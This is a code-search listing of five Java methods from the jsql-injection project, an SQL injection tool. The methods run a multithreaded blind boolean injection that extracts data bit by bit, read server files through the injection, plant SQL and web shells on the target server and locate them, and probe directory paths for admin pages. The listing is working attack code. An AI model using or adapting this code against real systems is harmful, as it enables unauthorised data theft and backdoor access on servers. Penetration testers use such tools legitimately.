Search in sources :

Example 1 with ThreadFactoryCallable

use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.

the class AbstractInjectionBoolean method inject.

/**
 * Process the whole blind injection, character by character, bit by bit.
 * @param inj SQL query
 * @param suspendable Action a user can stop
 * @return Final string: SQLiABCDEF...
 * @throws StoppedByUserSlidingException
 */
public String inject(String inj, AbstractSuspendable<String> suspendable) throws StoppedByUserSlidingException {
    /**
     *  List of the characters, each one represented by an array of 8 bits
     *  e.g SQLi: bytes[0] => 01010011:S, bytes[1] => 01010001:Q ...
     */
    List<char[]> bytes = new ArrayList<>();
    // Cursor for current character position
    int indexCharacter = 0;
    // Parallelize the URL requests
    ExecutorService taskExecutor = Executors.newFixedThreadPool(150, new ThreadFactoryCallable("CallableAbstractBlind"));
    CompletionService<T> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    // Send the first binary question: is the SQL result empty?
    taskCompletionService.submit(this.getCallable(inj, 0, IS_TESTING_LENGTH));
    // Increment the number of active tasks
    int submittedTasks = 1;
    int countAsciiCode255 = 0;
    /*
         * Process the job until there is no more active task,
         * in other word until all HTTP requests are done
         */
    while (submittedTasks > 0) {
        if (suspendable.isSuspended()) {
            taskExecutor.shutdown();
            // Await for termination
            boolean isTerminated = false;
            try {
                isTerminated = taskExecutor.awaitTermination(0, TimeUnit.SECONDS);
            } catch (InterruptedException e) {
                LOGGER.error(e.getMessage(), e);
                Thread.currentThread().interrupt();
            }
            if (!isTerminated) {
                // awaitTermination timed out, interrupt everything
                taskExecutor.shutdownNow();
            }
            // TODO Get current progress and display
            StoppedByUserSlidingException e = new StoppedByUserSlidingException();
            StringBuilder result = new StringBuilder();
            for (char[] c : bytes) {
                try {
                    int charCode = Integer.parseInt(new String(c), 2);
                    String str = Character.toString((char) charCode);
                    result.append(str);
                } catch (NumberFormatException err) {
                // Byte string not fully constructed : 0x1x010x
                // Ignore
                }
            }
            e.setSlidingWindowAllRows(result.toString());
            throw e;
        }
        try {
            // The URL call is done, bring back the finished task
            T currentCallable = taskCompletionService.take().get();
            // One task has just ended, decrease active tasks by 1
            submittedTasks--;
            /*
                 * If SQL result is not empty, then add a new unknown character,
                 * and define a new array of 8 undefined bit.
                 * Then add a new length verification, and all 8 bits
                 * requests for that new character.
                 */
            if (currentCallable.isTestingLength()) {
                if (currentCallable.isTrue()) {
                    indexCharacter++;
                    // New undefined bits of the next character
                    bytes.add(new char[] { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' });
                    // Test if it's the end of the line
                    taskCompletionService.submit(this.getCallable(inj, indexCharacter, IS_TESTING_LENGTH));
                    // Test the 8 bits for the next character, save its position and current bit for later
                    for (int bit : new int[] { 1, 2, 4, 8, 16, 32, 64, 128 }) {
                        taskCompletionService.submit(this.getCallable(inj, indexCharacter, bit));
                    }
                    // Add all 9 new tasks
                    submittedTasks += 9;
                }
            /*
                 * Process the url that has just checked a bit,
                 * Retrieve the bits for that character, and
                 * change the bit from undefined to 0 or 1
                 */
            } else {
                // The bits linked to the url
                char[] codeAsciiInBinary = bytes.get(currentCallable.getCurrentIndex() - 1);
                // Define the bit
                codeAsciiInBinary[(int) (8 - (Math.log(2) + Math.log(currentCallable.getCurrentBit())) / Math.log(2))] = currentCallable.isTrue() ? '1' : '0';
                /*
                     * Inform the View if a array of bits is complete, else nothing #Need fix
                     */
                try {
                    int codeAscii = Integer.parseInt(new String(codeAsciiInBinary), 2);
                    String charText = Character.toString((char) codeAscii);
                    if (codeAscii == 255 || codeAscii == 0) {
                        if (submittedTasks != 0 && countAsciiCode255 > 9 && (countAsciiCode255 * 100 / submittedTasks) > 50) {
                            LOGGER.warn("Boolean false positives spotted, stopping...");
                            break;
                        }
                        countAsciiCode255++;
                    }
                    Request interaction = new Request();
                    interaction.setMessage(Interaction.MESSAGE_BINARY);
                    interaction.setParameters(new String(codeAsciiInBinary) + "=" + charText.replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
                    MediatorModel.model().sendToViews(interaction);
                } catch (NumberFormatException err) {
                // Byte string not fully constructed : 0x1x010x
                // Ignore
                }
            }
        } catch (InterruptedException | ExecutionException e) {
            LOGGER.error(e.getMessage(), e);
        }
    }
    // End the job
    try {
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
    } catch (InterruptedException e) {
        LOGGER.error(e.getMessage(), e);
        Thread.currentThread().interrupt();
    }
    // Build the complete final string from array of bits
    StringBuilder result = new StringBuilder();
    for (char[] c : bytes) {
        try {
            int charCode = Integer.parseInt(new String(c), 2);
            String str = Character.toString((char) charCode);
            result.append(str);
        } catch (NumberFormatException err) {
        // In case of too much False positives
        // Byte string not fully constructed : 0x1x010x
        // Ignore
        }
    }
    return result.toString();
}
Also used : ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutionException(java.util.concurrent.ExecutionException)

Example 2 with ThreadFactoryCallable

use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.

the class RessourceAccess method readFile.

/**
 * Attempt to read files in parallel by their path from the website using injection.
 * Reading file needs a FILE right on the server.
 * The user can interrupt the process at any time.
 * @param pathsFiles List of file paths to read
 * @throws JSqlException when an error occurs during injection
 * @throws InterruptedException if the current thread was interrupted while waiting
 * @throws ExecutionException if the computation threw an exception
 */
public static void readFile(List<ItemList> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    int countFileFound = 0;
    ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableReadFile"));
    CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    for (ItemList pathFile : pathsFiles) {
        CallableFile callableFile = new CallableFile(pathFile.toString());
        taskCompletionService.submit(callableFile);
        RessourceAccess.callablesReadFile.add(callableFile);
    }
    List<String> duplicate = new ArrayList<>();
    int submittedTasks = pathsFiles.size();
    int tasksHandled;
    for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchFileStopped; tasksHandled++) {
        CallableFile currentCallable = taskCompletionService.take().get();
        if (!"".equals(currentCallable.getSourceFile())) {
            String name = currentCallable.getPathFile().substring(currentCallable.getPathFile().lastIndexOf('/') + 1, currentCallable.getPathFile().length());
            String content = currentCallable.getSourceFile();
            String path = currentCallable.getPathFile();
            Request request = new Request();
            request.setMessage(Interaction.CREATE_FILE_TAB);
            request.setParameters(name, content, path);
            MediatorModel.model().sendToViews(request);
            if (!duplicate.contains(path.replace(name, ""))) {
                LOGGER.info("Shell might be possible in folder " + path.replace(name, ""));
            }
            duplicate.add(path.replace(name, ""));
            countFileFound++;
        }
    }
    // Force ongoing suspendables to stop immediately
    for (CallableFile callableReadFile : RessourceAccess.callablesReadFile) {
        callableReadFile.getSuspendableReadFile().stop();
    }
    RessourceAccess.callablesReadFile.clear();
    taskExecutor.shutdown();
    taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
    RessourceAccess.isSearchFileStopped = false;
    String result = "Found " + countFileFound + " file" + (countFileFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " files checked";
    if (countFileFound > 0) {
        LOGGER.debug(result);
    } else {
        LOGGER.warn(result);
    }
    Request request = new Request();
    request.setMessage(Interaction.END_FILE_SEARCH);
    MediatorModel.model().sendToViews(request);
}
Also used : ItemList(com.jsql.view.swing.list.ItemList) ExecutorService(java.util.concurrent.ExecutorService) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable)

Example 3 with ThreadFactoryCallable

use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.

the class RessourceAccess method createSqlShell.

/**
 * Create SQL shell on the server. Override user name and password eventually.
 * @param pathShell Script to create on the server
 * @param url URL for the script (used for url rewriting)
 * @param username User name for current database
 * @param password User password for current database
 * @throws InterruptedException
 * @throws InjectionFailureException
 * @throws StoppedByUserSlidingException
 */
public static void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException, InterruptedException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.sql").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
    String pathShellFixed = pathShell;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_SQLSHELL));
    String resultInjection;
    String[] sourcePage = { "" };
    try {
        resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_SQLSHELL), sourcePage, false, 1, null);
        if ("".equals(resultInjection)) {
            throw new JSqlException("payload integrity verification: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("injected payload does not match source", e);
    }
    if (!urlShell.isEmpty()) {
        urlShell = urlShell.replaceAll("/*$", "") + "/";
    }
    String url = urlShell;
    if ("".equals(url)) {
        url = ConnectionUtil.getUrlBase();
    }
    if (resultInjection.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("SQL payload created into \"" + pathShellFixed + FILENAME_SQLSHELL + "\"");
        // 
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
        String urlProtocol;
        if ("/".equals(urlWithoutProtocol)) {
            urlProtocol = url.replaceAll("/+$", "");
        } else {
            urlProtocol = url.replace(urlWithoutProtocol, "");
        }
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
        List<String> directoryNames = new ArrayList<>();
        if (urlWithoutFileName.split("/").length == 0) {
            directoryNames.add("/");
        }
        for (String directoryName : urlWithoutFileName.split("/")) {
            directoryNames.add(directoryName + "/");
        }
        ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateSqlShell"));
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        StringBuilder urlPart = new StringBuilder();
        for (String segment : directoryNames) {
            urlPart.append(segment);
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_SQLSHELL));
        }
        int submittedTasks = directoryNames.size() * 1;
        int tasksHandled;
        String urlSuccess = null;
        for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
            try {
                CallableHttpHead currentCallable = taskCompletionService.take().get();
                if (currentCallable.isHttpResponseOk()) {
                    urlSuccess = currentCallable.getUrl();
                    if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
                        LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
                    } else {
                        LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
                    }
                } else {
                    LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while checking SQL shell", e);
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
        if (urlSuccess != null) {
            Request request = new Request();
            request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
            request.setParameters(pathShellFixed.replace(FILENAME_SQLSHELL, ""), urlSuccess, username, password);
            MediatorModel.model().sendToViews(request);
        } else {
            LOGGER.warn("HTTP connection to SQL payload not found");
        }
    } else {
        throw new JSqlException("Incorrect SQL payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Example 4 with ThreadFactoryCallable

use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.

the class RessourceAccess method createAdminPages.

/**
 * Check if every page in the list responds 200 Success.
 * @param urlInjection
 * @param pageNames List of admin pages ot test
 * @throws InterruptedException
 */
public static void createAdminPages(String urlInjection, List<ItemList> pageNames) throws InterruptedException {
    String urlWithoutProtocol = urlInjection.replaceAll("^https?://[^/]*", "");
    String urlProtocol = urlInjection.replace(urlWithoutProtocol, "");
    String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "");
    List<String> directoryNames = new ArrayList<>();
    if (urlWithoutFileName.split("/").length == 0) {
        directoryNames.add("/");
    }
    for (String directoryName : urlWithoutFileName.split("/")) {
        directoryNames.add(directoryName + "/");
    }
    ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableGetAdminPage"));
    CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    StringBuilder urlPart = new StringBuilder();
    for (String segment : directoryNames) {
        urlPart.append(segment);
        for (ItemList pageName : pageNames) {
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + pageName.toString()));
        }
    }
    int nbAdminPagesFound = 0;
    int submittedTasks = directoryNames.size() * pageNames.size();
    int tasksHandled;
    for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchAdminStopped; tasksHandled++) {
        try {
            CallableHttpHead currentCallable = taskCompletionService.take().get();
            if (currentCallable.isHttpResponseOk()) {
                Request request = new Request();
                request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
                request.setParameters(currentCallable.getUrl());
                MediatorModel.model().sendToViews(request);
                nbAdminPagesFound++;
                LOGGER.debug("Found admin page: " + currentCallable.getUrl());
            }
        } catch (InterruptedException | ExecutionException e) {
            LOGGER.error("Interruption while checking Admin pages", e);
        }
    }
    taskExecutor.shutdown();
    taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
    RessourceAccess.isSearchAdminStopped = false;
    String result = "Found " + nbAdminPagesFound + " admin page" + (nbAdminPagesFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " pages checked";
    if (nbAdminPagesFound > 0) {
        LOGGER.debug(result);
    } else {
        LOGGER.warn(result);
    }
    Request request = new Request();
    request.setMessage(Interaction.END_ADMIN_SEARCH);
    MediatorModel.model().sendToViews(request);
}
Also used : ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ItemList(com.jsql.view.swing.list.ItemList) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Example 5 with ThreadFactoryCallable

use of com.jsql.model.suspendable.callable.ThreadFactoryCallable in project jsql-injection by ron190.

the class RessourceAccess method createWebShell.

/**
 * Create a webshell in the server.
 * @param pathShell Remote path othe file
 * @param url
 * @throws InterruptedException
 * @throws InjectionFailureException
 * @throws StoppedByUserSlidingException
 */
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
    String pathShellFixed = pathShell;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
    String resultInjection;
    String[] sourcePage = { "" };
    try {
        resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
        if ("".equals(resultInjection)) {
            throw new JSqlException("payload integrity verification: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("injected payload does not match source", e);
    }
    if (!urlShell.isEmpty()) {
        urlShell = urlShell.replaceAll("/*$", "") + "/";
    }
    String url = urlShell;
    if ("".equals(url)) {
        url = ConnectionUtil.getUrlBase();
    }
    if (resultInjection.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
        // 
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
        String urlProtocol;
        if ("/".equals(urlWithoutProtocol)) {
            urlProtocol = url.replaceAll("/+$", "");
        } else {
            urlProtocol = url.replace(urlWithoutProtocol, "");
        }
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
        List<String> directoryNames = new ArrayList<>();
        if (urlWithoutFileName.split("/").length == 0) {
            directoryNames.add("/");
        }
        for (String directoryName : urlWithoutFileName.split("/")) {
            directoryNames.add(directoryName + "/");
        }
        ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        StringBuilder urlPart = new StringBuilder();
        for (String segment : directoryNames) {
            urlPart.append(segment);
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
        }
        int submittedTasks = directoryNames.size() * 1;
        int tasksHandled;
        String urlSuccess = null;
        for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
            try {
                CallableHttpHead currentCallable = taskCompletionService.take().get();
                if (currentCallable.isHttpResponseOk()) {
                    urlSuccess = currentCallable.getUrl();
                    if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
                        LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
                    } else {
                        LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
                    }
                } else {
                    LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while checking Web shell", e);
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
        if (urlSuccess != null) {
            Request request = new Request();
            request.setMessage(Interaction.CREATE_SHELL_TAB);
            request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
            MediatorModel.model().sendToViews(request);
        } else {
            LOGGER.warn("HTTP connection to Web payload not found");
        }
    } else {
        throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Aggregations

ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)8 ExecutorCompletionService (java.util.concurrent.ExecutorCompletionService)8 ExecutorService (java.util.concurrent.ExecutorService)8 ExecutionException (java.util.concurrent.ExecutionException)7 Request (com.jsql.model.bean.util.Request)6 ArrayList (java.util.ArrayList)6 StoppedByUserSlidingException (com.jsql.model.exception.StoppedByUserSlidingException)4 CallablePageSource (com.jsql.model.suspendable.callable.CallablePageSource)3 JSqlException (com.jsql.model.exception.JSqlException)2 SuspendableGetRows (com.jsql.model.suspendable.SuspendableGetRows)2 ItemList (com.jsql.view.swing.list.ItemList)2 Header (com.jsql.model.bean.util.Header)1 Vendor (com.jsql.model.injection.vendor.Vendor)1 SimpleEntry (java.util.AbstractMap.SimpleEntry)1 EnumMap (java.util.EnumMap)1